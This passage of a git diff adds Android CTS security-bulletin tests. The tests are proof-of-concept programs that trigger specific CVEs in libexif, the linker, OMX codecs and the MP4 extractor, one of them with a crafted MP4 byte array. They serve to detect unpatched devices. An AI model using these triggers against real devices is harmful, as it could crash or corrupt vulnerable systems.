+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "libexif/exif-data.h"
+#include "libexif/pentax/exif-mnote-data-pentax.h"
+
+#define NUM_PAGES 2
+#define VULNERABLE_ENTRY_INDEX 6
+#define VALUE_SIZE 1024
+
+int main(int argc, char **argv) {
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ ExifData *exifData = exif_data_new_from_file(argv[1]);
+ if (!exifData) {
+ return EXIT_FAILURE;
+ }
+
+ ExifMnoteData *mData = exif_data_get_mnote_data(exifData);
+ if (!mData) {
+ exif_data_unref(exifData);
+ return EXIT_FAILURE;
+ }
+
+ ExifMnoteDataPentax *mDataPentax = (ExifMnoteDataPentax *)mData;
+ if (!mDataPentax) {
+ exif_data_unref(exifData);
+ return EXIT_FAILURE;
+ }
+
+ MnotePentaxEntry *entry = &mDataPentax->entries[VULNERABLE_ENTRY_INDEX];
+ if (!entry) {
+ exif_data_unref(exifData);
+ return EXIT_FAILURE;
+ }
+
+ size_t page_size = getpagesize();
+ size_t num_pages = NUM_PAGES;
+ size_t total_size = page_size * num_pages;
+ unsigned char *start_ptr = (unsigned char *)memalign(page_size, total_size);
+ if (!start_ptr) {
+ exif_data_unref(exifData);
+ return EXIT_FAILURE;
+ }
+ unsigned char *mem_ptr = start_ptr + ((num_pages - 1) * page_size);
+ mprotect(mem_ptr, page_size, PROT_NONE);
+
+ unsigned char *prev_ptr = entry->data;
+ entry->data = mem_ptr;
+ entry->size = 0;
+
+ char value[VALUE_SIZE];
+ exif_mnote_data_get_value(mData, VULNERABLE_ENTRY_INDEX, value, sizeof(value));
+
+ entry->data = prev_ptr;
+ free(start_ptr);
+ exif_data_unref(exifData);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp
new file mode 100644
index 0000000..af8ba51
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0670",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.c",
+ ],
+
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
new file mode 100644
index 0000000..6380e92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
@@ -0,0 +1,103 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+ #include <stdlib.h>
+ #include "../includes/common.h"
+
+ //This PoC is only for 32-bit builds
+#if _32_BIT
+#include <unistd.h>
+#include <string.h>
+#include <dlfcn.h>
+
+#define MAX_STRLEN 256
+#define LOOP_COUNT 10
+#define LIB_NAME "/system/lib/libandroid.so"
+
+int runDlopenDlcloseLibraryLoop(char *libName, unsigned char count) {
+ while (count) {
+ void *lib_handle = dlopen(libName, RTLD_NOW);
+ if (!lib_handle) {
+ return EXIT_FAILURE;
+ }
+ if (dlclose(lib_handle)) {
+ return EXIT_FAILURE;
+ }
+ count--;
+ }
+ return EXIT_SUCCESS;
+}
+int getMemoryUsage(unsigned long *memUsage) {
+ char cmd[MAX_STRLEN];
+ char buf[MAX_STRLEN];
+ memset(cmd, 0, MAX_STRLEN);
+ memset(buf, 0, MAX_STRLEN);
+ sprintf(cmd, "cat /proc/%d/maps | grep anon:linker_alloc]", getpid());
+ FILE *fpMem = popen(cmd, "r");
+ if (!fpMem) {
+ return EXIT_FAILURE;
+ }
+ unsigned long totalMemUsage = 0;
+ while (fgets(buf, MAX_STRLEN, fpMem) != NULL) {
+ unsigned long mem1 = 0;
+ unsigned long mem2 = 0;
+ int numOfItemsRead = sscanf(buf, "%lx-%lx", &mem1, &mem2);
+ if (numOfItemsRead < 2) {
+ pclose(fpMem);
+ return EXIT_FAILURE;
+ }
+ totalMemUsage += mem2 - mem1;
+ }
+ pclose(fpMem);
+ *memUsage = totalMemUsage;
+ return EXIT_SUCCESS;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+ /* Memory usage is expected to rise during first few dlopen-dlcose pairs */
+ /* due to linker initializations. Hence memory is not tracked during */
+ /* first few dlopen-dlcose pairs. */
+ if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+ return EXIT_FAILURE;
+ }
+
+ /* The linker specific initializations should be complete. Hence Memory */
+ /* usage is tracked from this point onwards. Further dlopen-dlcose pairs */
+ /* are not expected to increase memory usage */
+ unsigned long memUsageBefore = 0;
+ if (getMemoryUsage(&memUsageBefore)) {
+ return EXIT_FAILURE;
+ }
+
+ if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+ return EXIT_FAILURE;
+ }
+
+ unsigned long memUsageAfter = 0;
+ if (getMemoryUsage(&memUsageAfter)) {
+ return EXIT_FAILURE;
+ }
+
+ if (memUsageBefore != memUsageAfter) {
+ return EXIT_VULNERABLE;
+ }
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
new file mode 100644
index 0000000..ad70e63
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2017-0684",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libui",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ include_dirs: [
+ "frameworks/native/include/media/openmax",
+ "frameworks/av/media/libstagefright",
+ "frameworks/native/include/media/hardware",
+ ],
+ compile_multilib: "32",
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
new file mode 100644
index 0000000..9b76c7b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/omxUtils.h"
+
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex,
+ Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(def.nBufferSize,
+ [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+
+int main() {
+
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+ omxExitOnError(ret);
+ /* Get OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ int ipBufferCount = params->nBufferCountActual;
+ /* Set port mode */
+ omxUtilsSetPortMode(OMX_UTILS_IP_PORT, IOMX::kPortModeDynamicANWBuffer);
+ /* Allocate input buffers and graphic buffer */
+ sp<GraphicBuffer> graphicbuffer = new GraphicBuffer(
+ params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+ HAL_PIXEL_FORMAT_RGBX_8888,
+ android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER, "me");
+ int i;
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+ /* Get OMX output port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ int opBufferSize = params->nBufferSize;
+ int opBufferCount = params->nBufferCountActual;
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ /* Empty input buffers and fill output buffers */
+ OMXBuffer omxIpBuf(graphicbuffer);
+ omxUtilsEmptyBuffer(inputBuffers[0].mID, omxIpBuf, 0, 0, -1);
+ OMXBuffer omxOpBuf(0, opBufferSize);
+ omxUtilsFillBuffer(outputBuffers[0].mID, omxOpBuf, -1);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (i = 0; i < ipBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+ }
+ for (i = 0; i < opBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+ }
+ /*********************************************************************/
+ /* Following code exposes vulnerability */
+ /*********************************************************************/
+ Vector<Buffer> newInputBuffers;
+ Vector<Buffer> newOutputBuffers;
+ /* Get OMX input port parameters, change settings and set output port*/
+ /* port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ params->nBufferSize = 38016;
+ params->format.video.nFrameWidth = 2000;
+ params->format.video.nFrameHeight = 2000;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ /* Allocated input buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers);
+ /* Allocated output buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ /* Empty input buffers and fill output buffers */
+ OMXBuffer newOmxIpBuf(graphicbuffer);
+ omxUtilsEmptyBuffer(newInputBuffers[0].mID, newOmxIpBuf, 0, 0, -1);
+ OMXBuffer newOmxOpBuf(0, opBufferSize);
+ omxUtilsFillBuffer(newOutputBuffers[0].mID, newOmxOpBuf, -1);
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (i = 0; i < ipBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, newInputBuffers[i].mID);
+ }
+ for (i = 0; i < opBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mID);
+ }
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp
new file mode 100644
index 0000000..7aaa563
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0697",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libstagefright_foundation",
+ "libutils",
+ "liblog",
+ "libdatasource",
+ ],
+
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
new file mode 100644
index 0000000..684d410
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
@@ -0,0 +1,105 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include <android/IMediaExtractor.h>
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+
+#define PSSH_BOX_SIZE 1048576
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == PSSH_BOX_SIZE); }
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSourceFactory> dsf = DataSourceFactory::getInstance();
+ sp<DataSource> dataSource = dsf->CreateFromURI(NULL, argv[1]);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ sp<MetaData> metaData = new MetaData();
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
+ enable_selective_overload = ENABLE_NONE;
+
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
new file mode 100644
index 0000000..32959f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0726",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include",
+ ],
+ shared_libs: [
+ "libdatasource",
+ "libstagefright",
+ "libstagefright_foundation",
+ "libutils",
+ "liblog",
+ ],
+ cflags: [
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
new file mode 100644
index 0000000..ea6935f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
@@ -0,0 +1,143 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "stdlib.h"
+
+#include "../includes/memutils_track.h"
+#include <android/IMediaExtractor.h>
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+
+unsigned char mp4_data[] = {
+ 0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32,
+ 0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31,
+ 0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76,
+ 0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64,
+ 0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
+ 0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D,
+ 0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00,
+ 0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54,
+ 0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65,
+ 0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42,
+ 0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34,
+ 0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32};
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+#endif
+
+#define TOTAL_SIZE 524432
+#define DATA_SIZE 144
+#define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
+#define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"
+
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); }
+
+int main() {
+ GetExtractorDef getDef = nullptr;
+ FILE *fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ char zero_array[TOTAL_SIZE - DATA_SIZE];
+ memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
+
+ /* Write mp4 stream */
+ fwrite(mp4_data, 1, DATA_SIZE, fp);
+
+ /* Append 0's to create custom PoC */
+ fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
+ fclose(fp);
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource =
+ DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ sp<MetaData> metaData = new MetaData();
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
+ enable_selective_overload = ENABLE_NONE;
+
+ remove(TMP_FILE);
+ dlclose(libHandle);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
new file mode 100644
index 0000000..5380fb5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/Android.bp
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0817",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+
+ include_dirs: [
+ "frameworks/native/include/media/openmax",
+ "frameworks/av/media/libstagefright",
+ "frameworks/native/include/media/hardware",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libui",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "libnativewindow",
+ "android.hidl.allocator@1.0",
+ "android.hidl.memory@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
new file mode 100644
index 0000000..778eef0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0817/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "stdlib.h"
+#include "../includes/common.h"
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#include <unistd.h>
+#include <hidlmemory/mapping.h>
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+void exit_handler(void) {
+ omxUtilsFreeNode();
+}
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
